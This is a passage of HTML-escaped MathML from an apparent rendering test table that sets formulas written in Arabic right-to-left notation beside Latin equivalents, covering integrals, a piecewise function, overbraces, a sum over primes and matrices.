- &lt;/mfrac&gt;
- &lt;/mrow&gt;
- &lt;/math&gt;
- &lt;/td&gt;
- &lt;td&gt;
- &lt;math dir="rtl" display="block"&gt;
- &lt;mrow&gt;
- &lt;msubsup&gt;
- &lt;mo stretchy="false"&gt;&amp;int;&lt;/mo&gt;
- &lt;mn&gt;١&lt;/mn&gt;
- &lt;mi&gt;&amp;#x1EE0E;&lt;/mi&gt;
- &lt;/msubsup&gt;
- &lt;mfrac&gt;
- &lt;mrow&gt;&lt;mi&gt;د&lt;/mi&gt;&lt;mi&gt;t&lt;/mi&gt;&lt;/mrow&gt;
- &lt;mi&gt;t&lt;/mi&gt;
- &lt;/mfrac&gt;
- &lt;/mrow&gt;
- &lt;/math&gt;
- &lt;/td&gt;&lt;td&gt;
- &lt;math display="block"&gt;
- &lt;mrow&gt;
- &lt;msubsup&gt;
- &lt;mo stretchy="false"&gt;&amp;int;&lt;/mo&gt;
- &lt;mn&gt;۱&lt;/mn&gt;
- &lt;mi&gt;x&lt;/mi&gt;
- &lt;/msubsup&gt;
- &lt;mfrac&gt;
- &lt;mrow&gt;&lt;mi&gt;d&lt;/mi&gt;&lt;mi&gt;t&lt;/mi&gt;&lt;/mrow&gt;
- &lt;mi&gt;t&lt;/mi&gt;
- &lt;/mfrac&gt;
- &lt;/mrow&gt;
- &lt;/math&gt;
- &lt;/td&gt;&lt;/tr&gt;
- &lt;tr&gt;
- &lt;td&gt;17&lt;/td&gt;
- &lt;td&gt;
- &lt;math dir="rtl" display="block"&gt;
- &lt;mrow&gt;
- &lt;msub&gt;
- &lt;mo&gt;&amp;#x222C; &lt;!-- \iint --&gt;&lt;/mo&gt;
- &lt;mi&gt;د&lt;/mi&gt;
- &lt;/msub&gt;
- &lt;mi&gt;د&lt;/mi&gt;&lt;mi&gt;&amp;#x1EE0E;&lt;/mi&gt;
- &lt;mspace width="thinmathspace"/&gt;
- &lt;mi&gt;د&lt;/mi&gt;&lt;mi&gt;&amp;#x1EE11;&lt;/mi&gt;
- &lt;/mrow&gt;
- &lt;/math&gt;
- &lt;/td&gt;
- &lt;td&gt;
- &lt;math dir="rtl" display="block"&gt;
- &lt;mrow&gt;
- &lt;msub&gt;
- &lt;mo&gt;&amp;#x222C; &lt;!-- \iint --&gt;&lt;/mo&gt;
- &lt;mi&gt;د&lt;/mi&gt;
- &lt;/msub&gt;
- &lt;mi&gt;د&lt;/mi&gt;&lt;mi&gt;&amp;#x1EE0E;&lt;/mi&gt;
- &lt;mspace width="thinmathspace"/&gt;
- &lt;mi&gt;د&lt;/mi&gt;&lt;mi&gt;&amp;#x1EE11;&lt;/mi&gt;
- &lt;/mrow&gt;
- &lt;/math&gt;
- &lt;/td&gt;&lt;td&gt;
- &lt;math display="block"&gt;
- &lt;mrow&gt;
- &lt;msub&gt;
- &lt;mo&gt;&amp;#x222C; &lt;!-- \iint --&gt;&lt;/mo&gt;
- &lt;mi&gt;D&lt;/mi&gt;
- &lt;/msub&gt;
- &lt;mi&gt;d&lt;/mi&gt;&lt;mi&gt;x&lt;/mi&gt;
- &lt;mspace width="thinmathspace"/&gt;
- &lt;mi&gt;d&lt;/mi&gt;&lt;mi&gt;y&lt;/mi&gt;
- &lt;/mrow&gt;
- &lt;/math&gt;
- &lt;/td&gt;&lt;/tr&gt;
- &lt;tr&gt;
- &lt;td&gt;18&lt;/td&gt;
- &lt;td&gt;
- &lt;math dir="rtl" display="block"&gt;
- &lt;mrow&gt;
- &lt;mi&gt;&amp;#x1EE03;&lt;/mi&gt;
- &lt;mo stretchy="false"&gt;(&lt;/mo&gt;
- &lt;mi&gt;&amp;#x1EE0E;&lt;/mi&gt;
- &lt;mo stretchy="false"&gt;)&lt;/mo&gt;
- &lt;mo&gt;=&lt;/mo&gt;
- &lt;mrow&gt;
- &lt;mo&gt;{&lt;/mo&gt;
- &lt;mtable&gt;
- &lt;mtr&gt;
- &lt;mtd columnalign="center"&gt;
- &lt;mrow&gt;
- &lt;mn&gt;١&lt;/mn&gt;
- &lt;mo&gt;/&lt;/mo&gt;
- &lt;mn&gt;٣&lt;/mn&gt;
- &lt;/mrow&gt;
- &lt;/mtd&gt;
- &lt;mtd columnalign="left"&gt;
- &lt;mrow&gt;
- &lt;mtext&gt;if&amp;nbsp;&lt;/mtext&gt;
- &lt;mn&gt;٠&lt;/mn&gt;
- &lt;mo&gt;&amp;leq;&lt;/mo&gt;
- &lt;mi&gt;&amp;#x1EE0E;&lt;/mi&gt;
- &lt;mo&gt;&amp;leq;&lt;/mo&gt;
- &lt;mn&gt;١&lt;/mn&gt;
- &lt;mo&gt;;&lt;/mo&gt;
- &lt;/mrow&gt;
- &lt;/mtd&gt;
- &lt;/mtr&gt;
- &lt;mtr&gt;
- &lt;mtd columnalign="center"&gt;
- &lt;mrow&gt;
- &lt;mn&gt;٢&lt;/mn&gt;
- &lt;mo&gt;/&lt;/mo&gt;
- &lt;mn&gt;٣&lt;/mn&gt;
- &lt;/mrow&gt;
- &lt;/mtd&gt;
- &lt;mtd columnalign="center"&gt;
- &lt;mrow&gt;
- &lt;mtext&gt;if&amp;nbsp;&lt;/mtext&gt;
- &lt;mn&gt;٣&lt;/mn&gt;
- &lt;mo&gt;&amp;leq;&lt;/mo&gt;
- &lt;mi&gt;&amp;#x1EE0E;&lt;/mi&gt;
- &lt;mo&gt;&amp;leq;&lt;/mo&gt;
- &lt;mn&gt;٤&lt;/mn&gt;
- &lt;mo&gt;;&lt;/mo&gt;
- &lt;/mrow&gt;
- &lt;/mtd&gt;
- &lt;/mtr&gt;
- &lt;mtr&gt;
- &lt;mtd columnalign="center"&gt;
- &lt;mn&gt;٠&lt;/mn&gt;
- &lt;/mtd&gt;
- &lt;mtd columnalign="left"&gt;
- &lt;mtext&gt;elsewhere.&lt;/mtext&gt;
- &lt;/mtd&gt;
- &lt;/mtr&gt;
- &lt;/mtable&gt;
- &lt;/mrow&gt;
- &lt;/mrow&gt;
- &lt;/math&gt;
- &lt;/td&gt;
- &lt;td&gt;
- &lt;math dir="rtl" display="block"&gt;
- &lt;mrow&gt;
- &lt;mi&gt;&amp;#x1EE03;&lt;/mi&gt;
- &lt;mo stretchy="false"&gt;(&lt;/mo&gt;
- &lt;mi&gt;&amp;#x1EE0E;&lt;/mi&gt;
- &lt;mo stretchy="false"&gt;)&lt;/mo&gt;
- &lt;mo&gt;=&lt;/mo&gt;
- &lt;mrow&gt;
- &lt;mo&gt;{&lt;/mo&gt;
- &lt;mtable&gt;
- &lt;mtr&gt;
- &lt;mtd columnalign="center"&gt;
- &lt;mrow&gt;
- &lt;mn&gt;١&lt;/mn&gt;
- &lt;mo&gt;/&lt;/mo&gt;
- &lt;mn&gt;٣&lt;/mn&gt;
- &lt;/mrow&gt;
- &lt;/mtd&gt;
- &lt;mtd columnalign="left"&gt;
- &lt;mrow&gt;
- &lt;mtext&gt;if&amp;nbsp;&lt;/mtext&gt;
- &lt;mn&gt;٠&lt;/mn&gt;
- &lt;mo&gt;&amp;leq;&lt;/mo&gt;
- &lt;mi&gt;&amp;#x1EE0E;&lt;/mi&gt;
- &lt;mo&gt;&amp;leq;&lt;/mo&gt;
- &lt;mn&gt;١&lt;/mn&gt;
- &lt;mo&gt;;&lt;/mo&gt;
- &lt;/mrow&gt;
- &lt;/mtd&gt;
- &lt;/mtr&gt;
- &lt;mtr&gt;
- &lt;mtd columnalign="center"&gt;
- &lt;mrow&gt;
- &lt;mn&gt;٢&lt;/mn&gt;
- &lt;mo&gt;/&lt;/mo&gt;
- &lt;mn&gt;٣&lt;/mn&gt;
- &lt;/mrow&gt;
- &lt;/mtd&gt;
- &lt;mtd columnalign="center"&gt;
- &lt;mrow&gt;
- &lt;mtext&gt;if&amp;nbsp;&lt;/mtext&gt;
- &lt;mn&gt;٣&lt;/mn&gt;
- &lt;mo&gt;&amp;leq;&lt;/mo&gt;
- &lt;mi&gt;&amp;#x1EE0E;&lt;/mi&gt;
- &lt;mo&gt;&amp;leq;&lt;/mo&gt;
- &lt;mn&gt;٤&lt;/mn&gt;
- &lt;mo&gt;;&lt;/mo&gt;
- &lt;/mrow&gt;
- &lt;/mtd&gt;
- &lt;/mtr&gt;
- &lt;mtr&gt;
- &lt;mtd columnalign="center"&gt;
- &lt;mn&gt;٠&lt;/mn&gt;
- &lt;/mtd&gt;
- &lt;mtd columnalign="left"&gt;
- &lt;mtext&gt;elsewhere.&lt;/mtext&gt;
- &lt;/mtd&gt;
- &lt;/mtr&gt;
- &lt;/mtable&gt;
- &lt;/mrow&gt;
- &lt;/mrow&gt;
- &lt;/math&gt;
- &lt;/td&gt;
- &lt;td&gt;
- &lt;math display="block"&gt;
- &lt;mrow&gt;
- &lt;mi&gt;f&lt;/mi&gt;
- &lt;mo stretchy="false"&gt;(&lt;/mo&gt;
- &lt;mi&gt;x&lt;/mi&gt;
- &lt;mo stretchy="false"&gt;)&lt;/mo&gt;
- &lt;mo&gt;=&lt;/mo&gt;
- &lt;mrow&gt;
- &lt;mo&gt;{&lt;/mo&gt;
- &lt;mtable&gt;
- &lt;mtr&gt;
- &lt;mtd columnalign="center"&gt;
- &lt;mrow&gt;
- &lt;mn&gt;۱&lt;/mn&gt;
- &lt;mo&gt;/&lt;/mo&gt;
- &lt;mn&gt;۳&lt;/mn&gt;
- &lt;/mrow&gt;
- &lt;/mtd&gt;
- &lt;mtd columnalign="left"&gt;
- &lt;mrow&gt;
- &lt;mtext&gt;if&amp;nbsp;&lt;/mtext&gt;
- &lt;mn&gt;۰&lt;/mn&gt;
- &lt;mo&gt;&amp;leq;&lt;/mo&gt;
- &lt;mi&gt;x&lt;/mi&gt;
- &lt;mo&gt;&amp;leq;&lt;/mo&gt;
- &lt;mn&gt;۱&lt;/mn&gt;
- &lt;mo&gt;;&lt;/mo&gt;
- &lt;/mrow&gt;
- &lt;/mtd&gt;
- &lt;/mtr&gt;
- &lt;mtr&gt;
- &lt;mtd columnalign="center"&gt;
- &lt;mrow&gt;
- &lt;mn&gt;۲&lt;/mn&gt;
- &lt;mo&gt;/&lt;/mo&gt;
- &lt;mn&gt;۳&lt;/mn&gt;
- &lt;/mrow&gt;
- &lt;/mtd&gt;
- &lt;mtd columnalign="center"&gt;
- &lt;mrow&gt;
- &lt;mtext&gt;if&amp;nbsp;&lt;/mtext&gt;
- &lt;mn&gt;۳&lt;/mn&gt;
- &lt;mo&gt;&amp;leq;&lt;/mo&gt;
- &lt;mi&gt;x&lt;/mi&gt;
- &lt;mo&gt;&amp;leq;&lt;/mo&gt;
- &lt;mn&gt;۴&lt;/mn&gt;
- &lt;mo&gt;;&lt;/mo&gt;
- &lt;/mrow&gt;
- &lt;/mtd&gt;
- &lt;/mtr&gt;
- &lt;mtr&gt;
- &lt;mtd columnalign="center"&gt;
- &lt;mn&gt;۰&lt;/mn&gt;
- &lt;/mtd&gt;
- &lt;mtd columnalign="left"&gt;
- &lt;mtext&gt;elsewhere.&lt;/mtext&gt;
- &lt;/mtd&gt;
- &lt;/mtr&gt;
- &lt;/mtable&gt;
- &lt;/mrow&gt;
- &lt;/mrow&gt;
- &lt;/math&gt;
- &lt;/td&gt;
- &lt;/tr&gt;
- &lt;tr&gt;
- &lt;td&gt;19&lt;/td&gt;
- &lt;td&gt;
- &lt;math dir="rtl" display="block"&gt;
- &lt;mover&gt;
- &lt;mrow&gt;
- &lt;mi&gt;&amp;#x1EE0E;&lt;/mi&gt;
- &lt;mo&gt;+&lt;/mo&gt;
- &lt;mo&gt;...&lt;/mo&gt;
- &lt;mo&gt;+&lt;/mo&gt;
- &lt;mi&gt;&amp;#x1EE0E;&lt;/mi&gt;
- &lt;/mrow&gt;
- &lt;mover&gt;
- &lt;mo&gt;&amp;OverBrace;&lt;/mo&gt;
- &lt;mrow&gt;&lt;mi&gt;&amp;#x1EE1F;&lt;/mi&gt; &lt;mspace width="thinmathspace"/&gt; &lt;mtext&gt;times&lt;/mtext&gt;&lt;/mrow&gt;
- &lt;/mover&gt;
- &lt;/mover&gt;
- &lt;/math&gt;
- &lt;/td&gt;
- &lt;td&gt;
- &lt;math dir="rtl" display="block"&gt;
- &lt;mover&gt;
- &lt;mrow&gt;
- &lt;mi&gt;&amp;#x1EE0E;&lt;/mi&gt;
- &lt;mo&gt;+&lt;/mo&gt;
- &lt;mo&gt;...&lt;/mo&gt;
- &lt;mo&gt;+&lt;/mo&gt;
- &lt;mi&gt;&amp;#x1EE0E;&lt;/mi&gt;
- &lt;/mrow&gt;
- &lt;mover&gt;
- &lt;mo&gt;&amp;OverBrace;&lt;/mo&gt;
- &lt;mrow&gt;&lt;mi&gt;&amp;#x1EE1F;&lt;/mi&gt; &lt;mspace width="thinmathspace"/&gt; &lt;mtext&gt;times&lt;/mtext&gt;&lt;/mrow&gt;
- &lt;/mover&gt;
- &lt;/mover&gt;
- &lt;/math&gt;
- &lt;/td&gt;&lt;td&gt;
- &lt;math display="block"&gt;
- &lt;mover&gt;
- &lt;mrow&gt;
- &lt;mi&gt;x&lt;/mi&gt;
- &lt;mo&gt;+&lt;/mo&gt;
- &lt;mo&gt;...&lt;/mo&gt;
- &lt;mo&gt;+&lt;/mo&gt;
- &lt;mi&gt;x&lt;/mi&gt;
- &lt;/mrow&gt;
- &lt;mover&gt;
- &lt;mo&gt;&amp;OverBrace;&lt;/mo&gt;
- &lt;mrow&gt;&lt;mi&gt;k&lt;/mi&gt; &lt;mspace width="thinmathspace"/&gt; &lt;mtext&gt;times&lt;/mtext&gt;&lt;/mrow&gt;
- &lt;/mover&gt;
- &lt;/mover&gt;
- &lt;/math&gt;
- &lt;/td&gt;&lt;/tr&gt;
- &lt;tr&gt;
- &lt;td&gt;20&lt;/td&gt;
- &lt;td&gt;
- &lt;math dir="rtl" display="block"&gt;
- &lt;mrow&gt;
- &lt;msub&gt;
- &lt;mi&gt;&amp;#x1EE11;&lt;/mi&gt;
- &lt;msup&gt;
- &lt;mi&gt;&amp;#x1EE0E;&lt;/mi&gt;
- &lt;mn&gt;٢&lt;/mn&gt;
- &lt;/msup&gt;
- &lt;/msub&gt;
- &lt;/mrow&gt;
- &lt;/math&gt;
- &lt;/td&gt;
- &lt;td&gt;
- &lt;math dir="rtl" display="block"&gt;
- &lt;mrow&gt;
- &lt;msub&gt;
- &lt;mi&gt;&amp;#x1EE11;&lt;/mi&gt;
- &lt;msup&gt;
- &lt;mi&gt;&amp;#x1EE0E;&lt;/mi&gt;
- &lt;mn&gt;٢&lt;/mn&gt;
- &lt;/msup&gt;
- &lt;/msub&gt;
- &lt;/mrow&gt;
- &lt;/math&gt;
- &lt;/td&gt;&lt;td&gt;
- &lt;math display="block"&gt;
- &lt;mrow&gt;
- &lt;msub&gt;
- &lt;mi&gt;y&lt;/mi&gt;
- &lt;msup&gt;
- &lt;mi&gt;x&lt;/mi&gt;
- &lt;mn&gt;۲&lt;/mn&gt;
- &lt;/msup&gt;
- &lt;/msub&gt;
- &lt;/mrow&gt;
- &lt;/math&gt;
- &lt;/td&gt;&lt;/tr&gt;
- &lt;tr&gt;
- &lt;td&gt;21&lt;/td&gt;
- &lt;td&gt;
- &lt;math dir="rtl" display="block"&gt;
- &lt;mrow&gt;
- &lt;munder&gt;
- &lt;mo&gt;&amp;sum;&lt;/mo&gt;
- &lt;mrow&gt;
- &lt;mi&gt;p&lt;/mi&gt;
- &lt;mtext&gt;&amp;nbsp;prime&lt;/mtext&gt;
- &lt;/mrow&gt;
- &lt;/munder&gt;
- &lt;mi&gt;&amp;#x1EE03;&lt;/mi&gt;
- &lt;mo stretchy="false"&gt;(&lt;/mo&gt;
- &lt;mi&gt;p&lt;/mi&gt;
- &lt;mo stretchy="false"&gt;)&lt;/mo&gt;
- &lt;mo&gt;=&lt;/mo&gt;
- &lt;msub&gt;
- &lt;mo stretchy="false"&gt;&amp;int;&lt;/mo&gt;
- &lt;mrow&gt;
- &lt;mi&gt;t&lt;/mi&gt;
- &lt;mo&gt;&amp;gt;&lt;/mo&gt;
- &lt;mn&gt;١&lt;/mn&gt;
- &lt;/mrow&gt;
- &lt;/msub&gt;
- &lt;mi&gt;&amp;#x1EE03;&lt;/mi&gt;
- &lt;mo stretchy="false"&gt;(&lt;/mo&gt;
- &lt;mi&gt;t&lt;/mi&gt;
- &lt;mo stretchy="false"&gt;)&lt;/mo&gt;
- &lt;mspace width="thinmathspace"/&gt;
- &lt;mi&gt;د&lt;/mi&gt;
- &lt;mi&gt;&amp;pi;&lt;/mi&gt;
- &lt;mo stretchy="false"&gt;(&lt;/mo&gt;
- &lt;mi&gt;t&lt;/mi&gt;
- &lt;mo stretchy="false"&gt;)&lt;/mo&gt;
- &lt;/mrow&gt;
- &lt;/math&gt;
- &lt;/td&gt;
- &lt;td&gt;
- &lt;math dir="rtl" display="block"&gt;
- &lt;mrow&gt;
- &lt;munder&gt;
- &lt;mo&gt;&amp;#x1EEF0;&lt;/mo&gt;
- &lt;mrow&gt;
- &lt;mi&gt;p&lt;/mi&gt;
- &lt;mtext&gt;&amp;nbsp;prime&lt;/mtext&gt;
- &lt;/mrow&gt;
- &lt;/munder&gt;
- &lt;mi&gt;&amp;#x1EE03;&lt;/mi&gt;
- &lt;mo stretchy="false"&gt;(&lt;/mo&gt;
- &lt;mi&gt;p&lt;/mi&gt;
- &lt;mo stretchy="false"&gt;)&lt;/mo&gt;
- &lt;mo&gt;=&lt;/mo&gt;
- &lt;msub&gt;
- &lt;mo stretchy="false"&gt;&amp;int;&lt;/mo&gt;
- &lt;mrow&gt;
- &lt;mi&gt;t&lt;/mi&gt;
- &lt;mo&gt;&amp;gt;&lt;/mo&gt;
- &lt;mn&gt;١&lt;/mn&gt;
- &lt;/mrow&gt;
- &lt;/msub&gt;
- &lt;mi&gt;&amp;#x1EE03;&lt;/mi&gt;
- &lt;mo stretchy="false"&gt;(&lt;/mo&gt;
- &lt;mi&gt;t&lt;/mi&gt;
- &lt;mo stretchy="false"&gt;)&lt;/mo&gt;
- &lt;mspace width="thinmathspace"/&gt;
- &lt;mi&gt;د&lt;/mi&gt;
- &lt;mi&gt;&amp;pi;&lt;/mi&gt;
- &lt;mo stretchy="false"&gt;(&lt;/mo&gt;
- &lt;mi&gt;t&lt;/mi&gt;
- &lt;mo stretchy="false"&gt;)&lt;/mo&gt;
- &lt;/mrow&gt;
- &lt;/math&gt;
- &lt;/td&gt;
- &lt;td&gt;
- &lt;math display="block"&gt;
- &lt;mrow&gt;
- &lt;munder&gt;
- &lt;mo&gt;&amp;sum;&lt;/mo&gt;
- &lt;mrow&gt;
- &lt;mi&gt;p&lt;/mi&gt;
- &lt;mtext&gt;&amp;nbsp;prime&lt;/mtext&gt;
- &lt;/mrow&gt;
- &lt;/munder&gt;
- &lt;mi&gt;f&lt;/mi&gt;
- &lt;mo stretchy="false"&gt;(&lt;/mo&gt;
- &lt;mi&gt;p&lt;/mi&gt;
- &lt;mo stretchy="false"&gt;)&lt;/mo&gt;
- &lt;mo&gt;=&lt;/mo&gt;
- &lt;msub&gt;
- &lt;mo stretchy="false"&gt;&amp;int;&lt;/mo&gt;
- &lt;mrow&gt;
- &lt;mi&gt;t&lt;/mi&gt;
- &lt;mo&gt;&amp;gt;&lt;/mo&gt;
- &lt;mn&gt;۱&lt;/mn&gt;
- &lt;/mrow&gt;
- &lt;/msub&gt;
- &lt;mi&gt;f&lt;/mi&gt;
- &lt;mo stretchy="false"&gt;(&lt;/mo&gt;
- &lt;mi&gt;t&lt;/mi&gt;
- &lt;mo stretchy="false"&gt;)&lt;/mo&gt;
- &lt;mspace width="thinmathspace"/&gt;
- &lt;mi&gt;d&lt;/mi&gt;
- &lt;mi&gt;&amp;pi;&lt;/mi&gt;
- &lt;mo stretchy="false"&gt;(&lt;/mo&gt;
- &lt;mi&gt;t&lt;/mi&gt;
- &lt;mo stretchy="false"&gt;)&lt;/mo&gt;
- &lt;/mrow&gt;
- &lt;/math&gt;
- &lt;/td&gt;&lt;/tr&gt;
- &lt;tr&gt;
- &lt;td&gt;22&lt;/td&gt;
- &lt;td&gt;
- &lt;math dir="rtl" display="block"&gt;
- &lt;mrow&gt;
- &lt;mo stretchy="false"&gt;{&lt;/mo&gt;
- &lt;munder&gt;
- &lt;mrow&gt;
- &lt;mover&gt;
- &lt;mrow&gt;
- &lt;mpadded width="0em"&gt;&lt;mphantom&gt;&lt;mo&gt;(&lt;/mo&gt;&lt;/mphantom&gt;&lt;/mpadded&gt;
- &lt;mi&gt;&amp;#x1EE00;&lt;/mi&gt;
- &lt;mo&gt;,&lt;/mo&gt;
- &lt;mo&gt;...&lt;/mo&gt;
- &lt;mo&gt;,&lt;/mo&gt;
- &lt;mi&gt;&amp;#x1EE00;&lt;/mi&gt;
- &lt;/mrow&gt;
- &lt;mover&gt;
- &lt;mo&gt;&amp;OverBrace;&lt;/mo&gt;
- &lt;mrow&gt;
- &lt;mi&gt;&amp;#x1EE1F;&lt;/mi&gt;
- &lt;mtext&gt;&amp;nbsp;&lt;/mtext&gt;
- &lt;mi&gt;&amp;#x1EE00;&lt;/mi&gt;
- &lt;mtext&gt;'s&lt;/mtext&gt;
- &lt;/mrow&gt;
- &lt;/mover&gt;
- &lt;/mover&gt;
- &lt;mo&gt;,&lt;/mo&gt;
- &lt;mover&gt;
- &lt;mrow&gt;
- &lt;mpadded width="0em"&gt;&lt;mphantom&gt;&lt;mo&gt;(&lt;/mo&gt;&lt;/mphantom&gt;&lt;/mpadded&gt;
- &lt;mi&gt;&amp;#x1EE1C;&lt;/mi&gt;
- &lt;mo&gt;,&lt;/mo&gt;
- &lt;mo&gt;...&lt;/mo&gt;
- &lt;mo&gt;,&lt;/mo&gt;
- &lt;mi&gt;&amp;#x1EE1C;&lt;/mi&gt;
- &lt;/mrow&gt;
- &lt;mover&gt;
- &lt;mo&gt;&amp;OverBrace;&lt;/mo&gt;
- &lt;mrow&gt;
- &lt;mi&gt;&amp;ell;&lt;/mi&gt;
- &lt;mtext&gt;&amp;nbsp;&lt;/mtext&gt;
- &lt;mi&gt;&amp;#x1EE1C;&lt;/mi&gt;
- &lt;mtext&gt;'s&lt;/mtext&gt;
- &lt;/mrow&gt;
- &lt;/mover&gt;
- &lt;/mover&gt;
- &lt;/mrow&gt;
- &lt;munder&gt;
- &lt;mo&gt;&amp;UnderBrace;&lt;/mo&gt;
- &lt;mrow&gt;
- &lt;mi&gt;&amp;#x1EE1F;&lt;/mi&gt;
- &lt;mo&gt;+&lt;/mo&gt;
- &lt;mi&gt;&amp;ell;&lt;/mi&gt;
- &lt;mtext&gt;&amp;nbsp;elements&lt;/mtext&gt;
- &lt;/mrow&gt;
- &lt;/munder&gt;
- &lt;/munder&gt;
- &lt;mo stretchy="false"&gt;}&lt;/mo&gt;
- &lt;/mrow&gt;
- &lt;/math&gt;
- &lt;/td&gt;
- &lt;td&gt;
- &lt;math dir="rtl" display="block"&gt;
- &lt;mrow&gt;
- &lt;mo stretchy="false"&gt;{&lt;/mo&gt;
- &lt;munder&gt;
- &lt;mrow&gt;
- &lt;mover&gt;
- &lt;mrow&gt;
- &lt;mpadded width="0em"&gt;&lt;mphantom&gt;&lt;mo&gt;(&lt;/mo&gt;&lt;/mphantom&gt;&lt;/mpadded&gt;
- &lt;mi&gt;&amp;#x1EE00;&lt;/mi&gt;
- &lt;mo&gt;,&lt;/mo&gt;
- &lt;mo&gt;...&lt;/mo&gt;
- &lt;mo&gt;,&lt;/mo&gt;
- &lt;mi&gt;&amp;#x1EE00;&lt;/mi&gt;
- &lt;/mrow&gt;
- &lt;mover&gt;
- &lt;mo&gt;&amp;OverBrace;&lt;/mo&gt;
- &lt;mrow&gt;
- &lt;mi&gt;&amp;#x1EE1F;&lt;/mi&gt;
- &lt;mtext&gt;&amp;nbsp;&lt;/mtext&gt;
- &lt;mi&gt;&amp;#x1EE00;&lt;/mi&gt;
- &lt;mtext&gt;'s&lt;/mtext&gt;
- &lt;/mrow&gt;
- &lt;/mover&gt;
- &lt;/mover&gt;
- &lt;mo&gt;,&lt;/mo&gt;
- &lt;mover&gt;
- &lt;mrow&gt;
- &lt;mpadded width="0em"&gt;&lt;mphantom&gt;&lt;mo&gt;(&lt;/mo&gt;&lt;/mphantom&gt;&lt;/mpadded&gt;
- &lt;mi&gt;&amp;#x1EE1C;&lt;/mi&gt;
- &lt;mo&gt;,&lt;/mo&gt;
- &lt;mo&gt;...&lt;/mo&gt;
- &lt;mo&gt;,&lt;/mo&gt;
- &lt;mi&gt;&amp;#x1EE1C;&lt;/mi&gt;
- &lt;/mrow&gt;
- &lt;mover&gt;
- &lt;mo&gt;&amp;OverBrace;&lt;/mo&gt;
- &lt;mrow&gt;
- &lt;mi&gt;&amp;ell;&lt;/mi&gt;
- &lt;mtext&gt;&amp;nbsp;&lt;/mtext&gt;
- &lt;mi&gt;&amp;#x1EE1C;&lt;/mi&gt;
- &lt;mtext&gt;'s&lt;/mtext&gt;
- &lt;/mrow&gt;
- &lt;/mover&gt;
- &lt;/mover&gt;
- &lt;/mrow&gt;
- &lt;munder&gt;
- &lt;mo&gt;&amp;UnderBrace;&lt;/mo&gt;
- &lt;mrow&gt;
- &lt;mi&gt;&amp;#x1EE1F;&lt;/mi&gt;
- &lt;mo&gt;+&lt;/mo&gt;
- &lt;mi&gt;&amp;ell;&lt;/mi&gt;
- &lt;mtext&gt;&amp;nbsp;elements&lt;/mtext&gt;
- &lt;/mrow&gt;
- &lt;/munder&gt;
- &lt;/munder&gt;
- &lt;mo stretchy="false"&gt;}&lt;/mo&gt;
- &lt;/mrow&gt;
- &lt;/math&gt;
- &lt;/td&gt;
- &lt;td&gt;
- &lt;math display="block"&gt;
- &lt;mrow&gt;
- &lt;mo stretchy="false"&gt;{&lt;/mo&gt;
- &lt;munder&gt;
- &lt;mrow&gt;
- &lt;mover&gt;
- &lt;mrow&gt;
- &lt;mpadded width="0em"&gt;&lt;mphantom&gt;&lt;mo&gt;(&lt;/mo&gt;&lt;/mphantom&gt;&lt;/mpadded&gt;
- &lt;mi&gt;a&lt;/mi&gt;
- &lt;mo&gt;,&lt;/mo&gt;
- &lt;mo&gt;...&lt;/mo&gt;
- &lt;mo&gt;,&lt;/mo&gt;
- &lt;mi&gt;a&lt;/mi&gt;
- &lt;/mrow&gt;
- &lt;mover&gt;
- &lt;mo&gt;&amp;OverBrace;&lt;/mo&gt;
- &lt;mrow&gt;
- &lt;mi&gt;k&lt;/mi&gt;
- &lt;mtext&gt;&amp;nbsp;&lt;/mtext&gt;
- &lt;mi&gt;a&lt;/mi&gt;
- &lt;mtext&gt;'s&lt;/mtext&gt;
- &lt;/mrow&gt;
- &lt;/mover&gt;
- &lt;/mover&gt;
- &lt;mo&gt;,&lt;/mo&gt;
- &lt;mover&gt;
- &lt;mrow&gt;
- &lt;mpadded width="0em"&gt;&lt;mphantom&gt;&lt;mo&gt;(&lt;/mo&gt;&lt;/mphantom&gt;&lt;/mpadded&gt;
- &lt;mi&gt;b&lt;/mi&gt;
- &lt;mo&gt;,&lt;/mo&gt;
- &lt;mo&gt;...&lt;/mo&gt;
- &lt;mo&gt;,&lt;/mo&gt;
- &lt;mi&gt;b&lt;/mi&gt;
- &lt;/mrow&gt;
- &lt;mover&gt;
- &lt;mo&gt;&amp;OverBrace;&lt;/mo&gt;
- &lt;mrow&gt;
- &lt;mi&gt;&amp;ell;&lt;/mi&gt;
- &lt;mtext&gt;&amp;nbsp;&lt;/mtext&gt;
- &lt;mi&gt;b&lt;/mi&gt;
- &lt;mtext&gt;'s&lt;/mtext&gt;
- &lt;/mrow&gt;
- &lt;/mover&gt;
- &lt;/mover&gt;
- &lt;/mrow&gt;
- &lt;munder&gt;
- &lt;mo&gt;&amp;UnderBrace;&lt;/mo&gt;
- &lt;mrow&gt;
- &lt;mi&gt;k&lt;/mi&gt;
- &lt;mo&gt;+&lt;/mo&gt;
- &lt;mi&gt;&amp;ell;&lt;/mi&gt;
- &lt;mtext&gt;&amp;nbsp;elements&lt;/mtext&gt;
- &lt;/mrow&gt;
- &lt;/munder&gt;
- &lt;/munder&gt;
- &lt;mo stretchy="false"&gt;}&lt;/mo&gt;
- &lt;/mrow&gt;
- &lt;/math&gt;
- &lt;/td&gt;&lt;/tr&gt;
- &lt;tr&gt;
- &lt;td&gt;23&lt;/td&gt;
- &lt;td&gt;
- &lt;math dir="rtl" display="block"&gt;
- &lt;mrow&gt;
- &lt;mo&gt;(&lt;/mo&gt;
- &lt;mtable&gt;
- &lt;mtr&gt;
- &lt;mtd columnalign="center"&gt;
- &lt;mrow&gt;
- &lt;mo&gt;(&lt;/mo&gt;
- &lt;mtable&gt;
- &lt;mtr&gt;
- &lt;mtd columnalign="center"&gt;
- &lt;mi&gt;&amp;#x1EE00;&lt;/mi&gt;
- &lt;/mtd&gt;
- &lt;mtd columnalign="center"&gt;
- &lt;mi&gt;&amp;#x1EE1C;&lt;/mi&gt;
- &lt;/mtd&gt;
- &lt;/mtr&gt;
- &lt;mtr&gt;
- &lt;mtd columnalign="center"&gt;
- &lt;mi&gt;ج&lt;/mi&gt;
- &lt;/mtd&gt;
- &lt;mtd columnalign="center"&gt;
- &lt;mi&gt;د&lt;/mi&gt;
- &lt;/mtd&gt;
- &lt;/mtr&gt;
- &lt;/mtable&gt;
- &lt;mo&gt;)&lt;/mo&gt;
- &lt;/mrow&gt;
- &lt;/mtd&gt;
- &lt;mtd columnalign="center"&gt;
- &lt;mrow&gt;
- &lt;mo&gt;(&lt;/mo&gt;
- &lt;mtable&gt;
- &lt;mtr&gt;
- &lt;mtd columnalign="center"&gt;
- &lt;mi&gt;e&lt;/mi&gt;
- &lt;/mtd&gt;
- &lt;mtd columnalign="center"&gt;
- &lt;mi&gt;f&lt;/mi&gt;
- &lt;/mtd&gt;
- &lt;/mtr&gt;
